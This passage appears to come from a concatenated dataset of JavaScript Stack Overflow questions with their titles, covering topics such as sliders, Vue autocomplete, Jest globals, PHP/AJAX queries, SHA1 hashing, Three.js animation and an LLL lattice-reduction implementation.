sliderWithDescendents = wrapperElem.querySelectorAll ( '* ' ) ; for ( var i = 0 ; i < sliderWithDescendents.length ; i++ ) { sliderWithDescendents [ i ] if ( sliderWithDescendents [ i ] === e.target || wrapperElem === e.target ) { currentTarget = wrapperElem.children [ 0 ] ; break ; } } if ( currentTarget === null ) return ; startPoint = getOrigin ( currentTarget ) ; sliderDimention = slider.offsetWidth ; window.addEventListener ( 'mousemove ' , sliderMove ) ; sliderMove ( e ) ; } function sliderMove ( e ) { var cursorPosition = e.clientX - startPoint.left - cursorRadius ; cursorPosition = clamp ( cursorPosition , startPoint.left - cursorRadius , sliderDimention - cursorRadius * 2 ) ; console.log ( ( cursorPosition / sliderDimention ) * 100 ) ; sliderCursor.style.transform = 'translateX ( ' + ( cursorPosition ) + 'px ) ' ; } function mouseUpEvents ( ) { window.removeEventListener ( 'mousemove ' , sliderMove ) ; } wrapperElem.addEventListener ( 'mousedown ' , sliderDown ) ; window.addEventListener ( 'mouseup ' , mouseUpEvents ) ; } var sliderTest = document.getElementById ( 'sliderTest ' ) ; var test = new RangeSlider ( sliderTest ) ; function clamp ( value , min , max ) { return Math.min ( Math.max ( value , min ) , max ) ; } function getOrigin ( elm ) { var box = ( elm.getBoundingClientRect ) ? elm.getBoundingClientRect ( ) : { top : 0 , left : 0 } , doc = elm & & elm.ownerDocument , body = doc.body , win = doc.defaultView || doc.parentWindow || window , docElem = doc.documentElement || body.parentNode , clientTop = docElem.clientTop || body.clientTop || 0 , // border on html or body or both clientLeft = docElem.clientLeft || body.clientLeft || 0 ; return { left : box.left + ( win.pageXOffset || docElem.scrollLeft ) - clientLeft , top : box.top + ( win.pageYOffset || docElem.scrollTop ) - clientTop } ; } .wrapperElem { height : 18px ; width : 100 % ; cursor : pointer ; display : flex ; } .slider { height : 100 % ; width : calc ( 100 % - 62px ) ; border : 1px solid black ; } .sliderCursor { width : 14px ; height : 14px ; border-radius : 50 % ; border : 2px solid black ; } < div class= '' wrapperElem '' > < div class= '' slider '' > < div class= '' sliderCursor '' > < /div > < /div > < /div >",Get cursors position in percentage "JS : According to the specification , a string-valued property key whose numeric value is 2 ** 53 - 1 must be treated as an integer index.According to the specification , the [ [ OwnPropertyKeys ] ] internal method must enumerate property keys which is an integer index , in ascending numeric order.According to the specification , Reflect.ownKeys calls the [ [ OwnPropertyKeys ] ] internal method.So , the following code should show property keys in ascending numeric order ( i.e. , [ `` 9007199254740990 '' , `` 9007199254740991 '' ] ) if my understanding is correct.However , all the existing implementations show property keys in ascending chronological order of property creation ( i.e. , [ `` 9007199254740991 '' , `` 9007199254740990 '' ] ) .What is my mistake ? console.log ( Reflect.ownKeys ( { `` 9007199254740991 '' : null , `` 9007199254740990 '' : null } ) ) ;",Why is not `` 9007199254740991 '' treated as an integer index ? "JS : I have seen several solutions which determine when an element is visible in the viewport whilst scrolling the page , but I have n't seen any which do this for elements that are contained in a scrolling container div as in the example here . How would I detect the items as they scroll into view via the scrolling div ? And by contrast how would I detect them if they fell out of view . In all cases the overflow elements are not hidden at the outset.HTMLCSS < div id= '' mainContainer '' class= '' main '' > < div id= '' scrollContainer '' class= '' scroller '' > < div id= '' picturesContainer '' class= '' holder '' > < div id= '' pictureContainer1 '' class= '' picture position1 '' > pictureContainer1 < /div > < div id= '' pictureContainer2 '' class= '' picture position2 '' > pictureContainer2 < /div > < div id= '' pictureContainer3 '' class= '' picture position3 '' > pictureContainer3 < /div > < div id= '' pictureContainer4 '' class= '' picture position4 '' > pictureContainer4 < /div > < div id= '' pictureContainer5 '' class= '' picture position5 '' > pictureContainer5 < /div > < div id= '' pictureContainer6 '' class= '' picture position6 '' > pictureContainer6 < /div > < div id= '' pictureContainer7 '' class= '' picture position7 '' > pictureContainer7 < /div > < div id= '' pictureContainer8 '' class= '' picture position8 '' > pictureContainer8 < /div > < div id= '' pictureContainer9 '' class= '' picture position9 '' > pictureContainer9 < /div > < /div > < /div > < /div > .main { position : absolute ; top:0px ; left:0px ; height : 200px ; width:200px ; background-color : grey ; border : 1px solid black ; } .scroller { position : absolute ; top:0px ; left:0px ; height : 250px ; width:250px ; background-color : lightblue ; border : 1px solid black ; overflow : scroll ; } .picture { position : absolute ; height : 200px ; width : 200px ; background-color : lightyellow ; border : 1px solid black ; } .position1 { top:0px ; left:0px ; } .position2 { top:0px ; left:200px ; } .position3 { top:0px ; left:400px ; } .position4 { top:200px ; left:0px ; } .position5 { top:200px ; left:200px ; } .position6 { top:200px ; left:400px ; } .position7 { top:400px ; left:0px ; } .position8 { top:400px ; left:200px ; } .position9 { top:400px ; left:400px ; } .holder { position : absolute ; top:0px ; left:0px ; width:600px ; height:600px ; background-color : lightgreen ; }",HTML how to tell which elements are visible ? "JS : I 'm trying to add javascript unit testing to our project and found out about the Jasmine Maven Plugin . I followed the directions and ended up with this in my pom.xml : I run mvn jasmine : bdd and get the expected output . I then go to http : //localhost:8234 and all I get is a blank screen . I look in the console and see this for each of my js files : The HTML for the page is including my scripts like this : So my question is , why is the plugin using the file protocol to inculde the js ? Is this how it usually works ? If so , how do I get my browser to allow the local resource ? Is there any way to prevent it from doing this ? Just in case it matters , I tried this with both Firefox and Chrome , and I am using OS X . < plugin > < groupId > com.github.searls < /groupId > < artifactId > jasmine-maven-plugin < /artifactId > < version > 1.2.0.0 < /version > < extensions > true < /extensions > < executions > < execution > < goals > < goal > test < /goal > < /goals > < /execution > < /executions > < configuration > < jsSrcDir > $ { project.basedir } /src/main/webapp/resources/js < /jsSrcDir > < jsTestSrcDir > $ { project.basedir } /src/test/javascript < /jsTestSrcDir > < /configuration > < /plugin > Not allowed to load local resource : file : ///absolute/path/to/the/js/src/main/webapp/resources/js/myJS.js < script type= '' text/javascript '' src= '' file : /absolute/path/to/the/js/src/main/webapp/resources/js/myJS.js '' > < /script >",Jasmine Maven Plugin including my scripts using file protocol "JS : In addition to my autocomplete search , I want to add functionality to allow key down/up functionality using VueJsMy template looks like this : In the scripts I have the following : From the moment the user hits on the input field , how can I also allow him to use key down and up to choose from the list and highlight the list that we are currently on as we use the key up/down ? My full fiddle is here < div id= '' app '' > < h2 > Todos : < /h2 > < div class= '' autocomplete '' > < input type= '' text '' v-model= '' search '' @ keyup= '' inputChanged '' @ keydown.down= '' onArrowDown '' / > < ul v-for= '' ( user , i ) in filteredUsers '' : key= '' i '' class= '' autocomplete-results '' v-show= '' isOpen '' : class= '' { 'is-active ' : i === arrowCounter } '' > < li @ click= '' setResult ( user.text ) '' > { { user.text } } < /li > < /ul > < /div > < /div > new Vue ( { el : `` # app '' , data : { users : [ { id : 1 , text : `` Learn JavaScript '' , done : false } , { id : 2 , text : `` Learn '' , done : false } , { id : 3 , text : `` Play around in JSFiddle '' , done : true } , { id : 4 , text : `` Build something awesome '' , done : true } ] , search : `` , arrowCounter : 0 , isOpen : false , filteredUsers : [ ] } , methods : { setResult ( text ) { this.search = text } , onArrowDown ( event ) { if ( this.arrowCounter < this.filteredUsers.length ) { this.arrowCounter++ } } , inputChanged ( ) { var filtered = this.users.filter ( ( user ) = > { return user.text.match ( this.search ) } ) ; this.filteredUsers = [ ] this.isOpen = true this.filteredUsers.push ( ... filtered ) console.log ( this.filteredUsers ) } } } )",Autocomplete search with key down and up in VueJs "JS : Every tutorial and code snippet I 'm looking at while learning the framework all use var for their declarations , including the official docs.Preface , I 'm just starting to learn Vue , so I know very little about it , but have n't found an answer yet.Same with other like assuming property name : vs.Am I wrong in assuming that ES6 's const and let should be standard ? Is there a reason to use var for Vue.js ? Is there an issue with ES6 ? new Vue ( { data : data } ) new Vue ( { data } )",Why use the ` var ` keyword in Vue.js ? "JS : I 'm writing a little testing tool for Jest ( just to learn ) . It is called assertTruthy ( msg , fn , args ) , expects a message , a function and arguments and should pass if the thing that is returned when the function is invoked with the arguments is truthy and fail if its not.I would like to add it to Jest , so that you could call it without importing it in every environment.I know Jest has setupFiles and setupFilesAfterEnv but I ca n't figure out how to use them to achieve this.How do you add commands to Jest ? PS : On a single project basis ( in CRA ) I managed to do this like this : describe ( 'someFn ( ) ' , ( ) = > { // like 'it ' , 'describe ' and 'expect ' it should just be available here it ( 'is a function ' , ( ) = > { expect ( typeop someFN ) .toEqual ( 'Function ' ) ; } ) ; assertTruthy ( 'it should return true ' , someFn , 3 , 4 ) ; } ) ; // in src/setupFiles.jsconst assertTruthy = // function definition ... global.assertTruthy = assertTruthy",How to add global commands to Jest like describe and it ? "JS : The google +1 button embed code can have a javascript object with configuration ( e.g . `` { lang : 'de ' } '' ) .In plain javascript , this object would be created and immediately destroyed , because it is not referenced by anything.I wonder how do the google scripts access this object ? It seems to work - except when you dynamically write the script tag including the configuration object into the DOM . < script type= '' text/javascript '' src= '' https : //apis.google.com/js/plusone.js '' > { lang : 'de ' } < /script >",google +1 javascript configuration object "JS : I have a simple section in which I am displaying data from the database , my database looks like this.Now I have four buttons looks like this When a user clicks one of the above buttons it displays this So now when user eg select construction and next select eg Egypt ' in the console and clicks buttonconfirmdisplays [ 855,599075 ] , user can select multiple countries , this works as expected forconstruction , power , oil ` , Now I want if user eg clicks All available industries button in those four buttons and next select eg Egypt and click confirm it should display the sum of egypt total projects in construction , oil , power sector 855+337+406 =1598 and the sum of total budgets in both sectors 1136173Here is my solution HTMLHere is js ajaxHere is php to get all dataall.phpHere is data.phpNow when the user clicks All available industries btn and selects a country I get [ 0,0 ] on the console.What do I need to change to get what I want ? any help or suggestion will be appreciated , < div id= '' interactive-layers '' > < div buttonid= '' 43 '' class= '' video-btns '' > < span class= '' label '' > Construction < /span > < /div > < div buttonid= '' 44 '' class= '' video-btns '' > < span class= '' label '' > Power < /span > < /div > < div buttonid= '' 45 '' class= '' video-btns '' > < span class= '' label '' > Oil < /span > < /div > < div buttonid= '' 103 '' class= '' video-btns '' > < span class= '' label '' > All available industries < /span > < /div > < /div > $ ( `` # interactive-layers '' ) .on ( `` click '' , `` .video-btns '' , function ( ) { if ( $ ( e.target ) .find ( `` span.label '' ) .html ( ) == '' Confirm '' ) { var selectedCountries = [ ] ; $ ( '.video-btns .selected ' ) .each ( function ( ) { selectedCountries.push ( $ ( this ) .parent ( ) .find ( `` span.label '' ) .html ( ) ) ; } ) ; if ( selectedCountries.length > 0 ) { if ( selectedCountries.indexOf ( `` All available countries '' ) > -1 ) { selectedCountries = [ ] ; } } else { return ; } var ajaxurl = `` '' ; if ( selectedCountries.length > 0 ) { ajaxurl = `` data.php '' ; } else { ajaxurl = `` dataall.php '' ; } $ .ajax ( { url : ajaxurl , type : 'POST ' , data : { countries : selectedCountries.join ( `` , '' ) , sector : selectedSector } , success : function ( result ) { console.log ( result ) ; result = JSON.parse ( result ) ; $ ( `` .video-btns '' ) .each ( function ( ) { var getBtn = $ ( this ) .attr ( 'buttonid ' ) ; if ( getBtn == 106 ) { var totalProjects = $ ( `` < span class='totalprojects ' > '' + result [ 0 ] + `` < /span > '' ) ; $ ( this ) .append ( totalProjects ) } else if ( getBtn ==107 ) { var resultBudget = result [ 1 ] var totalBudgets = $ ( `` < span class='totalbudget ' > '' + ' & # 36m ' + '' `` + resultBudget + '' < /span > '' ) ; $ ( this ) .append ( totalBudgets ) } } ) ; return ; } } ) ; } } ) ; $ selectedSectorByUser = $ _POST [ 'sector ' ] ; $ conn = mysqli_connect ( `` localhost '' , `` root '' , `` '' , `` love '' ) ; $ result = mysqli_query ( $ conn , `` SELECT * FROM meed '' ) ; $ data = array ( ) ; $ wynik = [ ] ; $ totalProjects = 0 ; $ totalBudget = 0 ; while ( $ row = mysqli_fetch_array ( $ result ) ) { if ( $ row [ 'Sector ' ] == $ selectedSectorByUser ) { $ totalProjects+= $ row [ 'SumofNoOfProjects ' ] ; $ totalBudget+= $ row [ 'SumofTotalBudgetValue ' ] ; } } echo json_encode ( [ $ totalProjects , $ totalBudget ] ) ; exit ( ) ; ? > < ? php $ selectedSectorByUser = $ _POST [ 'sector ' ] ; $ countries = explode ( `` , '' , $ _POST [ 'countries ' ] ) ; //var_dump ( $ countries ) ; $ conn = mysqli_connect ( `` localhost '' , `` root '' , `` '' , `` meedadb '' ) ; $ result = mysqli_query ( $ conn , `` SELECT * FROM meed '' ) ; $ data = array ( ) ; $ wynik = [ ] ; $ totalProjects = 0 ; $ totalBudget = 0 ; while ( $ row = mysqli_fetch_array ( $ result ) ) { if ( $ row [ 'Sector ' ] == $ selectedSectorByUser & & in_array ( $ row [ 'Countries ' ] , $ countries ) ) { // array_push ( $ data , $ row ) ; $ totalProjects+= $ row [ 'SumofNoOfProjects ' ] ; $ totalBudget+= $ row [ 'SumofTotalBudgetValue ' ] ; } } // array_push ( $ wynik , $ row ) ; echo json_encode ( [ $ totalProjects , $ totalBudget ] ) ; //echo json_encode ( $ data ) ; exit ( ) ; ? >","Get data from database using php , ajax" "JS : Hello stackoverflow community , i 'm apologising for my ignorance in javascript/ajax but i have a hard time to convert this php json into a javascript functionThanks in advance for any help givenVar_dump JsonVar_dump Json_aSo far i 've made this but no success , what 's wrong with the code ? $ json = file_get_contents ( 'http : //videoapi.my.mail.ru/videos/mail/alex.costantin/_myvideo/4375.json ' ) ; $ json_a = json_decode ( $ json , true ) ; $ url = $ json_a [ videos ] [ 0 ] [ url ] ; $ img = $ json_a [ meta ] [ poster ] ; echo $ url ; echo $ img ; string ( 984 ) `` { `` version '' :3 , '' service '' : '' mail '' , '' provider '' : '' ugc '' , '' author '' : { `` email '' : '' alex.costantin @ mail.ru '' , '' name '' : '' alex.costantin '' , '' profile '' : '' http : //my.mail.ru/mail/alex.costantin '' } , '' meta '' : { `` title '' : '' avg '' , '' externalId '' : '' mail/alex.costantin/_myvideo/4375 '' , '' itemId '' :4375 , '' accId '' :54048083 , '' poster '' : '' http : //videoapi.my.mail.ru/file/sc03/2500725436577747223 '' , '' duration '' :7955 , '' url '' : '' http : //my.mail.ru/mail/alex.costantin/video/_myvideo/4375.html '' , '' timestamp '' :1430140403 , '' viewsCount '' :13345 } , '' videos '' : [ { `` key '' : '' 360p '' , '' url '' : '' http : //cdn28.my.mail.ru/v/54048083.mp4 ? sign=dab566053f09db40a63a263f17190aeeb09f1d8d & slave [ ] =s % 3Ahttp % 3A % 2F % 2F127.0.0.1 % 3A5010 % 2F54048083-v.mp4 & p=f & expire_at=1430773200 & touch=1430140403 '' , '' seekSchema '' :3 } , { `` key '' : '' 720p '' , '' url '' : '' http : //cdn28.my.mail.ru/hv/54048083.mp4 ? sign=e9ea54e857ca590b171636efae1b80ccdf0bb5bf & slave [ ] =s % 3Ahttp % 3A % 2F % 2F127.0.0.1 % 3A5010 % 2F54048083-hv.mp4 & p=f & expire_at=1430773200 & touch=1430140403 '' , '' seekSchema '' :3 } ] , '' encoding '' : true , '' flags '' :16387 , '' spAccess '' :3 , '' region '' : '' 200 '' } '' array ( 10 ) { [ `` version '' ] = > int ( 3 ) [ `` service '' ] = > string ( 4 ) `` mail '' [ `` provider '' ] = > string ( 3 ) `` ugc '' [ `` author '' ] = > array ( 3 ) { [ `` email '' ] = > string ( 22 ) `` alex.costantin @ mail.ru '' [ `` name '' ] = > string ( 14 ) `` alex.costantin '' [ `` profile '' ] = > string ( 37 ) `` http : //my.mail.ru/mail/alex.costantin '' } [ `` meta '' ] = > array ( 9 ) { [ `` title '' ] = > string ( 3 ) `` avg '' [ `` externalId '' ] = > string ( 33 ) `` mail/alex.costantin/_myvideo/4375 '' [ `` itemId '' ] = > int ( 4375 ) [ `` accId '' ] = > int ( 54048083 ) [ `` poster '' ] = > string ( 56 ) `` http : //videoapi.my.mail.ru/file/sc03/2500725436577747223 '' [ `` duration '' ] = > int ( 7955 ) [ `` url '' ] = > string ( 62 ) `` http : //my.mail.ru/mail/alex.costantin/video/_myvideo/4375.html '' [ `` timestamp '' ] = > int ( 1430140403 ) [ `` viewsCount '' ] = > int ( 13345 ) } [ `` videos '' ] = > array ( 2 ) { [ 0 ] = > array ( 3 ) { [ `` key '' ] = > string ( 4 ) `` 360p '' [ `` url '' ] = > string ( 185 ) `` http : //cdn28.my.mail.ru/v/54048083.mp4 ? sign=dab566053f09db40a63a263f17190aeeb09f1d8d & slave [ ] =s % 3Ahttp % 3A % 2F % 2F127.0.0.1 % 3A5010 % 2F54048083-v.mp4 & p=f & expire_at=1430773200 & touch=1430140403 '' [ `` seekSchema '' ] = > int ( 3 ) } [ 1 ] = > array ( 3 ) { [ `` key '' ] = > string ( 4 ) `` 720p '' [ `` url '' ] = > string ( 187 ) `` http : //cdn28.my.mail.ru/hv/54048083.mp4 ? sign=e9ea54e857ca590b171636efae1b80ccdf0bb5bf & slave [ ] =s % 3Ahttp % 3A % 2F % 2F127.0.0.1 % 3A5010 % 2F54048083-hv.mp4 & p=f & expire_at=1430773200 & touch=1430140403 '' [ `` seekSchema '' ] = > int ( 3 ) } } [ `` encoding '' ] = > bool ( true ) [ `` flags '' ] = > int ( 16387 ) [ `` spAccess '' ] = > int ( 3 ) [ `` region '' ] = > string ( 3 ) `` 200 '' } $ .ajax ( { type : `` GET '' , url : `` http : //videoapi.my.mail.ru/videos/mail/alex.costantin/_myvideo/4375.json '' , async : false , beforeSend : function ( x ) { if ( x & amp ; & amp ; x.overrideMimeType ) { x.overrideMimeType ( `` application/j-son ; charset=UTF-8 '' ) ; } } , dataType : `` json '' , success : function ( data ) { alert ( data.meta.poster ) ; } } ) ;",Converting php json to javascript getJSON "JS : I tried to filter a generator and had the expectation that this kind of general functionality must be defined anywhere in JavaScript , because it is defined for Arrays , but I can not find it . So I tried to define it . But I can not extend the built-in generators.I have an example generatorgenerating some numbers.If I build an array , I can filter the array by the use of the filter function for arrays.But I do not want to build an array . Instead I want to take the old generator and build a new filtering generator . For this I wrote the following function.which can be used to do what I want.But this is a very general function , which can be applied to every generator in the same way the filter function can be applied to every Array . So I tried to extend generators in general , but I do not understand how.The MDN documentation for generators suggests somehow that Generator.prototype may exist , but it does not seem to exist . When I try to define something in Generator.prototype , I get the error ReferenceError : Generator is not definedHow can I extend the built-in Generator class ? function make_nums ( ) { let nums = { } ; nums [ Symbol.iterator ] = function* ( ) { yield 1 ; yield 2 ; yield 3 ; } ; return nums ; } [ ... make_nums ( ) ] // = > Array [ 1 , 2 , 3 ] [ ... make_nums ( ) ] .filter ( n = > n > 1 ) // = > Array [ 2 , 3 ] function filtered ( generator , filter ) { let g = { } ; g [ Symbol.iterator ] = function* ( ) { for ( let value of generator ) if ( filter ( value ) ) yield value ; } ; return g ; } [ ... filtered ( make_nums ( ) , n = > n > 1 ) ] // = > Array [ 2 , 3 ]",How to extend the Generator class ? JS : If I write html like this : window.foo returns a dom-element and window.document.getElementById ( `` foo '' ) === window.foo returns true.Why is that ? And why does everyone use getElementById ? And on a sidenote : Why was overriding window.foo forbidden in IE7/8 ? And what happens if I set window.foo = `` bar '' ? < div id= '' foo '' > Foo < div >,Why do dom-elements exist as properties on the window-object ? "JS : I was looking at the SO source code to see how they are doing the div on the right side bar that changes from relative to fixed position . I saw that the SO JS library is pretty much all included into the page with this code below ... My question is how is the code included like this , is this something like the RequireJS or labJS javascript code that loads the files only when they are needed or something like that ? < script type= '' text/javascript '' > StackExchange.using.setCacheBreakers ( { `` js/prettify-full.js '' : `` 0324556b7bf7 '' , `` js/moderator.js '' : `` a38ca3c6143d '' , `` js/full-anon.js '' : `` 8fcefa158ad3 '' , `` js/full.js '' : `` a168b3deac0f '' , `` js/wmd.js '' : `` 688233b2af68 '' , `` js/third-party/jquery.autocomplete.min.js '' : `` e5f01e97f7c3 '' , `` js/mobile.js '' : `` 97644ef9b7d4 '' , `` js/help.js '' : `` 7f83495f785a '' , `` js/tageditor.js '' : `` 75954ba7b6f1 '' , `` js/tageditornew.js '' : `` 9d9998359a54 '' , `` js/inline-tag-editing.js '' : `` 364e12111b4b '' , `` js/mathjax-editing.js '' : `` a47e02eb0282 '' , `` js/revisions.js '' : `` 63c88065da1f '' } ) ; < /script >",How does Stack Overflow include Javascript files ? "JS : When setting up unit tests ( in my case , using Jasmine for JavaScript ) should the un-minified/in-uglified src files be tested ? Or should the end-user build files ( minified and uglified ) be tested ? In my grunt config : vs.On one hand , it 's nice to test the src files since it does n't remove debuggers and is easier to inspect when needed.On the other hand , I can test the src files as much as I like but it 's not true to what the end users will be running , as the build files are uglified and minified . jasmine : { src : [ 'src/file.js ' ] } jasmine : { src : [ 'build/file.min.js ' ] }",Should I unit test my /src files or /build files ? "JS : I would like to convert this part of node.js code to PHP code . ( WORKING ) For now i have something like this in php : ( NOT WORKING ) But the result is not the same as the node.js function.The result should be this : L0xc787MxCwJJaZjFX6MqxkVcFE=When password is : 111111And salt is : UY68RQZT14QPgSsfaw/F+w== function generateHashedPass ( password , salt ) { var byteSalt = new Buffer ( salt , 'base64 ' ) ; var bytePass = new Buffer ( password , 'ucs2 ' ) ; var byteResult = Buffer.concat ( [ byteSalt , bytePass ] ) ; return sha1.update ( byteResult ) .digest ( 'base64 ' ) ; } console.log ( generateHashedPass ( '111111 ' , 'UY68RQZT14QPgSsfaw/F+w== ' ) === 'L0xc787MxCwJJaZjFX6MqxkVcFE= ' ? `` Algo correct '' : `` Algo wrong '' ) ; public function getHashedPass ( $ pass , $ salt ) { $ base_salt = unpack ( ' H* ' , base64_decode ( $ salt ) ) ; $ base_pass = unpack ( ' H* ' , mb_convert_encoding ( $ pass , 'UCS-2 ' , 'auto ' ) ) ; $ base_result = $ base_salt [ 1 ] . $ base_pass [ 1 ] ; return base64_encode ( sha1 ( $ base_result ) ) ; }",SHA1 hash differences between node.js and PHP "JS : I have a responsive website . Also I have some nested elements which used percent ( % ) width for them . Now I want to get the width of a child-element and set it as width of another element.Note : I can get the width of that element which I need to it and set it to another one using JavaScript ( something like this : $ ( '.children ' ) [ 0 ] .getBBox ( ) .width ; ) . But I want to know , is it possible to I do that using pure-CSS ? Here is my HTML structure and CSS codes : # grandfather { width : 70 % ; border : 1px solid # 666 ; padding : 5px ; } .father { width : 80 % ; border : 1px solid # 999 ; padding : 5px ; } .children { width 90 % ; border : 1px solid # ccc ; padding : 5px ; } .follow-width { position : absolute ; border : 1px solid # ccc ; padding : 5px ; /* width : ? */ } < div id= '' grandfather '' > < div class= '' father '' > < div class= '' children '' > how to get the width of this element ? < /div > < /div > < /div > < br > < hr > < br > < div class= '' follow-width '' > this element needs to the width of div.children < /div >",How to get the width of an element which has inherit-width ? "JS : I need to do something as the following line in my project ( from https : //github.com/devyumao/angular2-busy ) In my project , I am making request based on route change as the following : It seems I need to create a new subscription every time there is a change in route . I am not sure how to do it.I am looking for rxjs solution only ( without using Promise ) .Thanks ! derek ngOnInit ( ) { this.busy = this.http.get ( ' ... ' ) .subscribe ( ) ; } ngOnInit ( ) : void { this.activatedRoute .params .map ( params = > params [ 'queryString ' ] ) .flatMap ( id = > this.http . ( `` ) ) .subscribe ( result = > this.data = result ) ; }",how to create a new observable subscription based on existing observable in rxjs ? "JS : This is very odd behavior ( which appears only to happen on Chrome on a Mac ) where much of the code appears to be skipped entirely and variables that should have values are set as `` undefined '' . Here is a screenshot from Chrome 's developer tools . Note that line 817 was never hit ! However 833 was hit and what we are looking at is an exception that was hit and I looked up the call stack to find this mess . Also note that the variables `` loc '' , `` lon '' and `` tc '' are all undefined , which should not be possible as they have each have been evaluated on lines 822 , 823/824 , and 827/831 . If there was an error in the calculations the values of these variables should be NaN from my understanding.Here is the actual code : Can anyone shine some light on this wizardry ? Why would a breakpoint be ignored and variables have incorrect values only in Chrome on a Mac ! ? EDIT : It appears that I have fixed the bug . All I did was isolate the breaking code in its own function , call the function once , if it threw an exception I called it again and it seems to work 100 % of the time . I am still very curious at what was the root cause of the issue.And then I replace the loop that originally held the logic ( in getCircle2 ) with : function getCircle2 ( latin , lonin , radius ) { var locs = new Array ( ) ; var lat1 = latin * Math.PI / 180.0 ; var lon1 = lonin * Math.PI / 180.0 ; var d = radius / 3956 ; var x ; for ( x = 0 ; x < = 360 ; x++ ) { var tc = ( x / 90 ) * Math.PI / 2 ; var lat = Math.asin ( Math.sin ( lat1 ) * Math.cos ( d ) + Math.cos ( lat1 ) * Math.sin ( d ) * Math.cos ( tc ) ) ; lat = 180.0 * lat / Math.PI ; var lon ; if ( Math.cos ( lat1 ) == 0 ) { lon = lonin ; // endpoint a pole } else { lon = ( ( lon1 - Math.asin ( Math.sin ( tc ) * Math.sin ( d ) / Math.cos ( lat1 ) ) + Math.PI ) % ( 2 * Math.PI ) ) - Math.PI ; } lon = 180.0 * lon / Math.PI ; var loc = new VELatLong ( lat , lon ) ; locs.push ( loc ) ; } return locs ; } //new function to isolate the exceptionfunction getCirclePointOnRadius ( deg , lat1 , lon1 , d , attempt ) { attempt = attempt || 1 ; var maxAttempts = 2 ; try { var tc = ( deg / 90 ) * Math.PI / 2 ; var lat = Math.asin ( Math.sin ( lat1 ) * Math.cos ( d ) + Math.cos ( lat1 ) * Math.sin ( d ) * Math.cos ( tc ) ) ; lat = 180.0 * lat / Math.PI ; var lon ; if ( Math.cos ( lat1 ) == 0 ) { lon = lonin ; // endpoint a pole } else { lon = ( ( lon1 - Math.asin ( Math.sin ( tc ) * Math.sin ( d ) / Math.cos ( lat1 ) ) + Math.PI ) % ( 2 * Math.PI ) ) - Math.PI ; } lon = 180.0 * lon / Math.PI ; var loc = new VELatLong ( lat , lon ) ; return loc ; } catch ( e ) { console.log2 ( 'Error when gathering circle point `` ' + e + ' '' , trying again ' , deg , lat1 , lon1 ) ; if ( attempt < maxAttempts ) { return getCirclePointOnRadius ( deg , lat1 , lon1 , ++attempt ) ; } else { return 0 ; } } } for ( x = 0 ; x < = 360 ; x++ ) { locs.push ( getCirclePointOnRadius ( x , lat1 , lon1 , d ) ) ; }",Variables impossibly set as `` undefined '' "JS : I get a strange problem with the rendering of a sphere in rotation : the animation seems to shake and I do n't know where this issue comes from.Here 's the example on this linkand the render function : with rotateCamera and computeRotation functions : If someone could see what 's wrong , this would be nice , Thanks for your helpUPDATE : I tried to insert the solution below of ; I did n't get to make work the animation , nothing is displayed : here my attempt on jsfiddle : https : //jsfiddle.net/ysis81/uau3nw2q/5/I tried also with performance.now ( ) but animation is still shaking ; you can check this on https : //jsfiddle.net/ysis81/2Lok5agy/3/I have started a bounty to resolve maybe this issue . function render ( ) { controls.update ( ) ; requestAnimationFrame ( render ) ; // For camera rotation : parametric parameter timer = Date.now ( ) *0.0001 ; // Coordinates of camera coordCamera.set ( radiusCamera*Math.cos ( timer ) , radiusCamera*Math.sin ( timer ) , 0 ) ; // Rotate camera function rotateCamera ( ) ; // Rendering renderer.render ( scene , camera ) ; } function computeRotation ( objectRotation , coordObject ) { // Apply rotation matrix var rotationAll = new THREE.Matrix4 ( ) ; var rotationX = new THREE.Matrix4 ( ) .makeRotationX ( objectRotation.rotation.x ) ; var rotationY = new THREE.Matrix4 ( ) .makeRotationY ( objectRotation.rotation.y ) ; var rotationZ = new THREE.Matrix4 ( ) .makeRotationZ ( objectRotation.rotation.z ) ; rotationAll.multiplyMatrices ( rotationX , rotationY ) ; rotationAll.multiply ( rotationZ ) ; // Compute world coordinates coordObject.applyMatrix4 ( rotationAll ) ; } function rotateCamera ( ) { // Compute coordinates of camera computeRotation ( torus , coordCamera ) ; // Set camera position for motion camera.position.set ( coordCamera.x , coordCamera.y , coordCamera.z ) }",Three.js - issue with rendering - animation is shaking "JS : I am not sure my issue is related to programming or related to concept of LLL algorithm and what has been mentioned on Wikipedia.I decided to implement LLL algorithm as it has been written on Wikipedia ( step-by-step / line-by-line ) to actually learn the algorithm and make sure it is truly working but I am getting unexpected or invalid results.So , I used JavaScript ( programming language ) and node.js ( JavaScript engine ) to implement it and this is the git repository to get the complete code.Long story short , value of K gets out of range , for example when we have only 3 vectors ( array size is 3 , thus maximum value of index would be 2 ) , but k becomes 3 and it is nonsense.My code is step-by-step ( line-by-line ) implementation of the algorithm mentioned on Wikipedia and what I did was only implementing it . So I do n't what is the issue.Here is the screenshot of the algorithm that is on Wikipedia : Update # 1 : I added more comments to the code to clarify the question hoping that someone would help.Just in case you are wondering about the already available implementation of the code , you can type : LatticeReduce [ { { 0,1 } , { 2,0 } } ] wolfram alpha to see how this code suppose to behave.Update # 2 : I cleaned up the code more and added a validate function to make Gram Schmidt code is working correctly , but still code fails and value of k exceeds number of dimensions ( or number of vectors ) which does n't make sense . // ** important// { b } set of vectors are denoted by this.matrix_before// { b* } set of vectors are denoted by this.matrix_aftercalculate_LLL ( ) { this.matrix_after = new gs ( this.matrix_before , false ) .matrix ; // initialize after vectors : perform Gram-Schmidt , but do not normalize var flag = false ; // invariant var k = 1 ; while ( k < = this.dimensions & & ! flag ) { for ( var j = k - 1 ; j > = 0 ; j -- ) { if ( Math.abs ( this.mu ( k , j ) ) > 0.5 ) { var to_subtract = tools.multiply ( Math.round ( this.mu ( k , j ) ) , this.matrix_before [ j ] , this.dimensions ) ; this.matrix_before [ k ] = tools.subtract ( this.matrix_before [ k ] , to_subtract , this.dimensions ) ; this.matrix_after = new gs ( this.matrix_before , false ) .matrix ; // update after vectors : perform Gram-Schmidt , but do not normalize } } if ( tools.dot_product ( this.matrix_after [ k ] , this.matrix_after [ k ] , this.dimensions ) > = ( this.delta - Math.pow ( this.mu ( k , k - 1 ) , 2 ) ) * tools.dot_product ( this.matrix_after [ k - 1 ] , this.matrix_after [ k - 1 ] , this.dimensions ) ) { if ( k + 1 > = this.dimensions ) { // invariant : there is some issue , something is wrong flag = true ; // invariant is broken console.log ( `` something bad happened ! ( 1 ) '' ) ; } k++ ; // console.log ( `` if ; k , j '' ) ; // console.log ( k + `` , `` + j ) ; } else { var temp_matrix = this.matrix_before [ k ] ; this.matrix_before [ k ] = this.matrix_before [ k - 1 ] ; this.matrix_before [ k - 1 ] = temp_matrix ; this.matrix_after = new gs ( this.matrix_before , false ) 